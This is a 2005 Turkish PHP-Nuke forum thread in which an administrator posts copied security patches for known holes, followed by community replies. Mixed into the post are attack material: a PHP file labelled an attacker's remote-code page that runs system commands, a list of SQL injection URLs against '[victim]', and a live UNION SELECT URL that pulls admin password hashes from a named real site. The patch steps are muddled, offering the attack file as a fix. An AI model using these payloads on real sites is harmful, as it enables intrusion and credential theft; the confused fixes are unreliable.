Anasayfa FORUMLAR Üye Girişi Dosyalar Dersler İpuçları Yardımcı Araçlar Hakkımızda
KİMLER BAĞLI
Toplam Üye: 32638
Aktif Üye: 0
Aktif Ziyaretçi: 916
Üye Adı
Şifre
Beni Hatırla
          Yeni Üye KayıtYeni Üye Kayıt
          Şifremi UnuttumŞifremi Unuttum
FORUMLAR
 ??? Sitem deki Haberleri ..
(25712 okuma, 26 yanıt)
 Free Hosta Php Nuke Kurul..
(16633 okuma, 14 yanıt)
 EKLENTİ: Misafire mesajın..
(37451 okuma, 38 yanıt)
 Php Nuke 9.0 Geliyor..
(21084 okuma, 19 yanıt)
 Bu başlık için mesaj bulu..
(14226 okuma, 15 yanıt)
 Facebook Sohbet Tipi Sohb..
(18037 okuma, 15 yanıt)
 üye aktivasyon..
(10755 okuma, 8 yanıt)
 Facebook tarzı altbar... ..
(6335 okuma, 1 yanıt)
 kaldırmak istediğim bölüm..
(6607 okuma, 2 yanıt)
 Resimli RSS..
(23479 okuma, 25 yanıt)
 Onay linkini kaldirmak..
(11190 okuma, 8 yanıt)
 Yardım :( Site açılırken ..
(6726 okuma, 2 yanıt)
 .Htaccess ile uzantıda ke..
(8400 okuma, 4 yanıt)
 block genişliği..
(5762 okuma, 1 yanıt)
 Haber Resimleri ve Slide ..
(14581 okuma, 12 yanıt)
 Foruma büyük boyutlu resi..
(7394 okuma, 3 yanıt)
 Php-Nuke 8.0 Paket..
(9526 okuma, 6 yanıt)
 Hangi sürümü önerirsiniz?..
(10595 okuma, 8 yanıt)
 ethai1 3..
(13317 okuma, 10 yanıt)
 Yeni PEHASPESEO..
(70839 okuma, 82 yanıt)
 Türkçe Karakter sorunu ?..
(38187 okuma, 36 yanıt)
 tek modul için sağ ve sol..
(11524 okuma, 8 yanıt)
 Php-nuke8.0 başlıklarda t..
(10692 okuma, 8 yanıt)
 Phpden iyi anlayan..
(5509 okuma, 1 yanıt)
 Php nuke 7.6 - 3.1 patch ..
(74216 okuma, 89 yanıt)
 Mp3 Üst Player Yardım..
(29959 okuma, 40 yanıt)
 Toplu üyelik silme?..
(11240 okuma, 8 yanıt)
 Çözümleyemediğim hata.....
(12543 okuma, 11 yanıt)
 bloğu kayan hale getirmek..
(6020 okuma, 2 yanıt)
 Makale modulu..
(8665 okuma, 5 yanıt)
 PHP-Nuke Haber V.1 Paylas..
(86554 okuma, 121 yanıt)
 title değiştirme..
(10464 okuma, 6 yanıt)
 Arkadaşlar bu sorunun çöz..
(10134 okuma, 6 yanıt)
 Php Nuke 8.1..
(4384 okuma, 0 yanıt)
 merhaba..
(10375 okuma, 9 yanıt)
 Anasayfa için boş modül o..
(13677 okuma, 13 yanıt)
 admin panelinde Access De..
(6477 okuma, 2 yanıt)
 Bu başlığa hiç cevap gelm..
(26702 okuma, 25 yanıt)
 Nuke Tema yapilisi..
(17262 okuma, 16 yanıt)
 Mavisce-net temasina bann..
(8809 okuma, 6 yanıt)
 PHP-Nuke wTeam - eklentil..
(6695 okuma, 2 yanıt)
 coppermine hata..
(10804 okuma, 8 yanıt)
 içerik tanıtımı..
(6350 okuma, 2 yanıt)
 Haber Ve İçeriğe Resim Ek..
(7235 okuma, 3 yanıt)
 google keywords..
(9053 okuma, 6 yanıt)
 8.0'da html sorunu..
(5555 okuma, 1 yanıt)
 PHP-Nuke_8.1.3.5+NukeSent..
(54954 okuma, 76 yanıt)
 üye olunurken gereksiz is..
(10129 okuma, 7 yanıt)
 Arkadaşlar kolifa haber s..
(6425 okuma, 2 yanıt)
 Hesabınız'a tıklayınca te..
(10624 okuma, 7 yanıt)
Netopsiyon Online: Forums
Netopsiyon Online :: Başlık görüntüleniyor - Açıksız Bir Php-Nuke İçin
 AramaArama   RütbelerRütbeliler   ProfilProfil   GirişGiriş 


Açıksız Bir Php-Nuke İçin

 
Bu forum kilitlendi: mesaj gönderemez, cevap yazamaz ya da başlıkları değiştiremezsiniz   Bu başlık kilitlendi: mesajları değiştiremez ya da cevap yazamazsınız    Netopsiyon Online Forum Ana Sayfa -> Php-Nuke
Önceki başlık :: Sonraki başlık  
Yazar Mesaj
saho
Forum Yöneticisi
Forum Yöneticisi





Kayıt: Mar 18, 2005
Mesajlar: 2176
Konum: istanbul-tokat

MesajTarih: 2005-06-14, 16:56:31    Mesaj konusu: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

Evet baya Araştırdım Arkadaşlar açıkları giriyorum ve çözümleri
tabi bunları ben yazmadım gördüklerimi uyguladıklarımı copylerle beeraber burada birleştiyiruz.
-->&copy İbrahim(powerturk)

Alıntı:
Yeni Bir Acik Daha Asiya Gerekli Fixleri ve Yamalari Yaziyorum dosyalari Düzenlemeden Önce Lütfen Yedekleri almayi unutmayin Bunlar Bütün PHP Nuke Versiyonlari icin Gecerlidir

http://secunia.com/advisories/14289/

Aciniz db/db.php Enüste Asagidaki kodlari Koyunuz



Kod:
if (stristr($_SERVER['SCRIPT_NAME'], "db.php")) {
Header("Location: index.php");
die();
}


Aciniz modules/Downloads/index.php

bulunuz Asagidaki kodlari
Kod:
require_once("mainfile.php");


Bir Öncesine Ekle
Kod:
if($d_op == "menu")
{
die("Illegal Operation...");
}


Bulunuz Asagidaki kodlari
Kod:
function NewDownloads($newdownloadshowdays) {
global $prefix, $db, $module_name;
include("header.php");


Bir Altina ekleyiniz

Kod:
$newdownloadshowdays = intval(trim($newdownloadshowdays));



Aciniz modules/Web_Links/index.php
bulunuz Asagidaki kodlari
Kod:
$index = 1;
require_once("mainfile.php");


bulgunuz kodun Bir Öncesine ekleyiniz

Kod:
if($l_op == "menu")
{
die("Illegal Operation...");
}



Bulnuz Asagidaki kodlari

Kod:
function NewLinks($newlinkshowdays) {
global $prefix, $db, $module_name;
include("header.php");


Buldugun Kodun bir Altina ekle

Kod:
$newlinkshowdays = intval(trim($newlinkshowdays));

bunlar genel öneli açıklar ama ilk linkteki yabancı sitedeki text dosyası bende açıldı şuan açılmadı onları yazamayacam devam ediyor
phpbbroot tan kaynaklanan ve 5/4 önemindeki hataya

http://www.aktifnuke.com/modules/Forums/admin/admin_styles.php
http://www.aktifnuke.com/modules/Forums/admin/common.php
bu hataların kapanmış hali nasıl kapyacaksınız çözümünü yazıyorum

modules/forums/admin/commons.php açıyoruz en
Kod:
<?

// This is simple attacker common.php page
// for execute remote code on machines vulnerable
// at PHP injection found on PHP-Nuke v7.5 by Silentium

system("id;uname -a");

?>
giriyoruz

şimdi diğer bir açığın yamanması

[code]http://[victim]/modules.php?name=Web_Links&l_op=Add&title=cXIb8O3&url=I&description=Spex&email=',[code]
http://[victim]/modules.php?name=Web_Links&l_op=modifylinkrequestS&url='[code]
http://[victim]/modules.php?name=Web_Links&l_op=viewlink&orderby=[code]&min=[code]
http://[victim]/modules.php?name=Web_Links&l_op=search&query=sex&orderby=[code]&min=[code]&show=[code]
http://[victim]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=[code]&ratetype=num
http://[victim]/modules.php?name=Downloads&d_op=Add&title=cXIb8O3&url=ma&description=POLSKA&email=',[code]
http://[victim]/modules.php?name=Downloads&d_op=modifydownloadrequestS&url=',[code]
http://[victim]/modules.php?name=Downloads&d_op=viewsdownload&min=[code]
http://[victim]/modules.php?name=Downloads&d_op=search&min=[code]
http://[victim]/modules.php?name=Top&querylang=[code]
[/code]

lamerlerin kullanığı kodların hepsini etkisiz hale getirecez şimdi
zaten prefix inizi değiştiğiniz de bunların hiçbirisi işe yaramayacak ama değişemeyneler için diyorum.(not:değişmek isteyenler donsyalar bölümünde prefix yazsn aratın salihakkas2 nin yazığı prefix değiştirciyi indirp kullanınızkullansın kullandıktan sonrada siliniz)
hatanın düzelmiş hali için tıklayınız
http://www.aktifnuke.com/modules.php?name=Top&querylang=union/**/%20select%200,pwd,0,0%20from%20nuke_authors%20where%20radminsuper=1

http://www.aktifnuke.com/modules.php?name=Top&querylang=union/**/%20select%200,pwd,0,0%20from%20nuke_authors%20where%20radminsuper=1
2 sinide denyebilirsiniz lamerler

(/modules/Top/index.php) açıoyurz 186 düzenliyoruz aşşağodaki koda göre[code]/* Top 10 Polls */

$result8 = $db->sql_query("select * from ".$prefix."_poll_desc $queryplang");

if ($db->sql_numrows($result8)>0) {
echo "<table border="0" cellpadding="10" width="100%"><tr><td align="left">
"
."<font class="option"><b>$top "._VOTEDPOLLS."</b></font><br><br><font class="content">
";
$lugar = 1;

$result9 = sql_query("SELECT pollID, pollTitle, timeStamp, voters FROM ".$prefix."_poll_desc
$querylang order by voters DESC limit 0,$top", $dbi);

$counter = 0;
[/code]
üsttekileri yaptım açıklar kapanıyor ama daha çok fazla düzenlence kod var bunları yapamayacak çok kişi var bu yüzden gene kodları verdim kod enjektelerinin hepsini önleyen protector yazılımın yükleyiniz.
trafiğim ççok gitti bu ay şuradan bir an önce link kırlımdan indirirseniz.
www.dunyali.com/Protector_1.15b2.zip buradan download edin lütfen daha sonra kurulumunu yaparsınız.Üsttekileri uyguladıktan sonra bunuda kurun artık siteniz hacklamak için hostunuza dalmaları lazım bunuda lamerler yapamaz zaten büyük hackerlarda türklerle uğraşmazlar yabancı israil sitelerine ve urs sitelerine eğer bilginiz varsa onlar lütfen ama yinede kanı bozuk türk lerin olduğunu kanısındayım için bunları yazma gereği duydum.Zaten bu kanı bozuklar en fazla lamerlik yapar hackerlık değil saygılar iyi çalışmalar


En son saho tarafından 2005-06-14, 17:33:42 tarihinde değiştirildi, toplam 1 kere değiştirildi
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder Yazarın web sitesini ziyaret et MSN Messenger
Bu Site Google Adsense ile Gelir Elde Ediyor









Tarih: 2024-07-05, 08:22:37    Mesaj konusu: Forum Arası Reklamlar


Başa dön
dehsetweb
Mesaj: 300+
Mesaj: 300+





Kayıt: Aug 17, 2004
Mesajlar: 468
Konum: Samsun

MesajTarih: 2005-06-14, 17:10:09    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

Hacklendigin İyi olmuş :) Korunma Uzmanı Olcaksın Yakında
:) iyiki Bi protector kurduk Deneme tahtasi Olduk Paylaşım İçin Tşk kolay gelsin
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder Yazarın web sitesini ziyaret et MSN Messenger
saho
Forum Yöneticisi
Forum Yöneticisi





Kayıt: Mar 18, 2005
Mesajlar: 2176
Konum: istanbul-tokat

MesajTarih: 2005-06-14, 17:14:16    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

eğer siteyi devamlı ziyaret edenlerden seniz benim gibi tıklamayın banlanıyorsunuz
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder Yazarın web sitesini ziyaret et MSN Messenger
aaksoy
Mesaj: 300+
Mesaj: 300+





Kayıt: Jan 06, 2005
Mesajlar: 322
Konum: İstanbul

MesajTarih: 2005-06-14, 17:25:10    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

saho sen güvenlik uzmanı olcan o hack
meselesinden sonra artık sana güvenlik
konularını danışırız
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder E-posta gönder Yazarın web sitesini ziyaret et Yahoo Messenger MSN Messenger
saho
Forum Yöneticisi
Forum Yöneticisi





Kayıt: Mar 18, 2005
Mesajlar: 2176
Konum: istanbul-tokat

MesajTarih: 2005-06-14, 17:40:11    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

incelemek zorunda kaldım hiç bakmazdım bitane senitnel tamam derdik ama öyle olmadığını anladık
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder Yazarın web sitesini ziyaret et MSN Messenger
emrealcan
Mesaj: 50+
Mesaj: 50+





Kayıt: May 21, 2005
Mesajlar: 60
Konum: ığdır

MesajTarih: 2005-06-14, 22:26:21    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

saho abiyi artık siteye güvenlik görevlisi olarak koyalım arkadaşlar güvenliğimizden saho sorumlu olsun:):):):):):)
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder Yazarın web sitesini ziyaret et
saho
Forum Yöneticisi
Forum Yöneticisi





Kayıt: Mar 18, 2005
Mesajlar: 2176
Konum: istanbul-tokat

MesajTarih: 2005-06-14, 22:46:48    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

olduk zaten güvenlik görevlisi diye çıktı adımız
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder Yazarın web sitesini ziyaret et MSN Messenger
efendymurat
Mesaj: 500+
Mesaj: 500+





Kayıt: Nov 22, 2004
Mesajlar: 680
Konum: Ankara

MesajTarih: 2005-06-14, 23:44:13    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

Saho o da lazımda
İlk alıntı kötü olmuş malesef
Kodlar alıntı içinde kaybolmuş :)
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder
Bu Site Google Adsense ile Gelir Elde Ediyor









Tarih: 2024-07-05, 08:22:37    Mesaj konusu: Forum Arası Reklamlar


Başa dön
KRAL_UGUR
Mesaj: 500+
Mesaj: 500+





Kayıt: Jan 23, 2005
Mesajlar: 593
Konum: ANKARA

MesajTarih: 2005-06-15, 00:39:19    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

Sadece gülünc. Bunlar yetmez.
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder Yazarın web sitesini ziyaret et MSN Messenger
byport
Mesaj: 200+
Mesaj: 200+





Kayıt: Jun 10, 2004
Mesajlar: 238

MesajTarih: 2005-06-15, 08:15:53    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

saho gardasim verdigin bilgiler icin sonsuz tesekkürler
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder
DongLeXx
Mesaj: 50+
Mesaj: 50+





Kayıt: May 07, 2005
Mesajlar: 81
Konum: turgutlu

MesajTarih: 2005-06-15, 11:06:10    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

Arkadaslar hersey iyi guzelde...sadece sitenıze koruma koymanız yetmez!

serverda önemli bu aRada Ddos saldırısı ile yayın durduralabılıyor!

serverda ddos koruma duvarı olmazı gerekıyor...otomatık Ip banlamada ıyı bır ekleme...
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder Yazarın web sitesini ziyaret et MSN Messenger
Gkhnd
Mesaj: 300+
Mesaj: 300+





Kayıt: May 17, 2005
Mesajlar: 349
Konum: Php-Nuke - Forever Drupal

MesajTarih: 2005-06-15, 11:10:02    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

asla açıksız bir php-nuke olmaz! db kullanılan her yazılımın mutlaka bir açığı vardır.bir açığı kapatırsınız ama kapattıgınız ve girdiginiz kodlar başka bir açığa sebeb olabilir.Gerçek açıksız bir php-nuke kurulamaz.çünkü yazma izni veriyorsunuz buda açık demektir.açıksız php-nuke için db kayıt ve yazma izni vermemeniz gerekir.buda php-nuke olmaz:) her db ve yazma izni bulunan sistem açıktır.
Önemli olan php-nuke açığından cok kullandıgınız pc yeterince güvenlimi? portlarınız güvenlimi? antitrojan korumanız sizi ne kadar koruyor?virüs koruma programlarınız sizi ne kadar koruyor? şu an kullanılan pc lerin %67 sinde spybot var.evet yanlış değil %67 oranında! ben derimki önce kendi güvenliğiniz sonra sitenizin güvenliği.%67 lik oran hiçte önemsenmeyecek kadar büyük bir oran.
saygılar.
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder E-posta gönder
byport
Mesaj: 200+
Mesaj: 200+





Kayıt: Jun 10, 2004
Mesajlar: 238

MesajTarih: 2005-06-15, 14:38:27    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

saho gardas naptin ya :)))
http://www.******.com/modules.php?name=Top&querylang=*********************0where%20radminsuper=1
Kod:
Kötü niyetli kullanılacağını göz önüne alarak kodları kaldırdım (Murat)



bu linke tam okumadan bir tikladim aktifnuke gibi sevdigim bir siteye giremez oldum Sad((((((

aktifnuke site yöneticilerinden olan varsa bana yardimci olabilirmi tekrar girisimi acabilirlermi
yandim ben ya cok mahcup oldum inanin kendimi suclu gibi hissettim
beni asin kesin ama bu yardim sitelerinden uzaklastirmayin lütfen

saygilarimla
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder
byport
Mesaj: 200+
Mesaj: 200+





Kayıt: Jun 10, 2004
Mesajlar: 238

MesajTarih: 2005-06-15, 15:31:32    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

tamam tekrar girebiliyorum simdi :)
konuyu dagittigim icin özür dilerim
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder
t-n-t
Mesaj: 1+
Mesaj: 1+





Kayıt: Jun 04, 2005
Mesajlar: 12
Konum: http://www.maximumhackteam.tr.cx

MesajTarih: 2005-06-24, 14:29:19    Mesaj konusu: Re: Açıksız Bir Php-Nuke İçin Alıntıyla Cevap Gönder

saho ardaşalım msn den konuşabilir miyiz seninle passionate_people@hotmail.com eklersen listene memnun olurum
Başa dön
Kullanıcının profilini görüntüle Özel mesaj gönder Yazarın web sitesini ziyaret et MSN Messenger
Önceki mesajları göster:   
Bu forum kilitlendi: mesaj gönderemez, cevap yazamaz ya da başlıkları değiştiremezsiniz   Bu başlık kilitlendi: mesajları değiştiremez ya da cevap yazamazsınız    Netopsiyon Online Forum Ana Sayfa -> Php-Nuke Tüm zamanlar GMT + 3 Saat
1. sayfa (Toplam 1 sayfa)

 
Geçiş Yap:  
Bu forumda yeni başlıklar açamazsınız
Bu forumdaki başlıklara cevap veremezsiniz
Bu forumdaki mesajlarınızı değiştiremezsiniz
Bu forumdaki mesajlarınızı silemezsiniz
Bu forumdaki anketlerde oy kullanamazsınız

Benzer Konular

Başlık Yazar Forum Cevaplar Tarih
Yeni mesaj yok nuke için sağ tarafta kayan reklam sC... Rapcoast Php Nuke Sorunlarınız 13 2010-07-21, 17:55:35 Son Mesajı Görüntüle
Yeni mesaj yok NetOpsiyon Nuke Son Yoklama ramrodboy İşbirliği&Etkinlikler 26 2010-07-17, 14:26:48 Son Mesajı Görüntüle
Yeni mesaj yok php-nuke Den Kayıp Yapmadan Başka Sis... DursunKaptan Php Nuke Sorunlarınız 18 2010-07-16, 20:05:43 Son Mesajı Görüntüle
Yeni mesaj yok Artisteer ile Nuke'ye Tema hazirlama bozkurt69 Php Nuke Tema Paylaşımları 7 2010-07-15, 12:54:19 Son Mesajı Görüntüle
Yeni mesaj yok Nuke sentinelin sorgulamasındaki bir ... mtalha88 Php Nuke Güvenlik 0 2010-07-15, 00:21:17 Son Mesajı Görüntüle

Copyright © 2002-2024 Netopsiyon Bilişim Teknolojileri San. Tic. Ltd.Şti. - Bütün hakları saklıdır!
Bu site Netopsiyon.com.tr Sunucularında Barındırılmaktadır.
Netopsiyon Bilişim Teknolojileri San. Tic. Ltd.Şti. Netopsiyon Copyright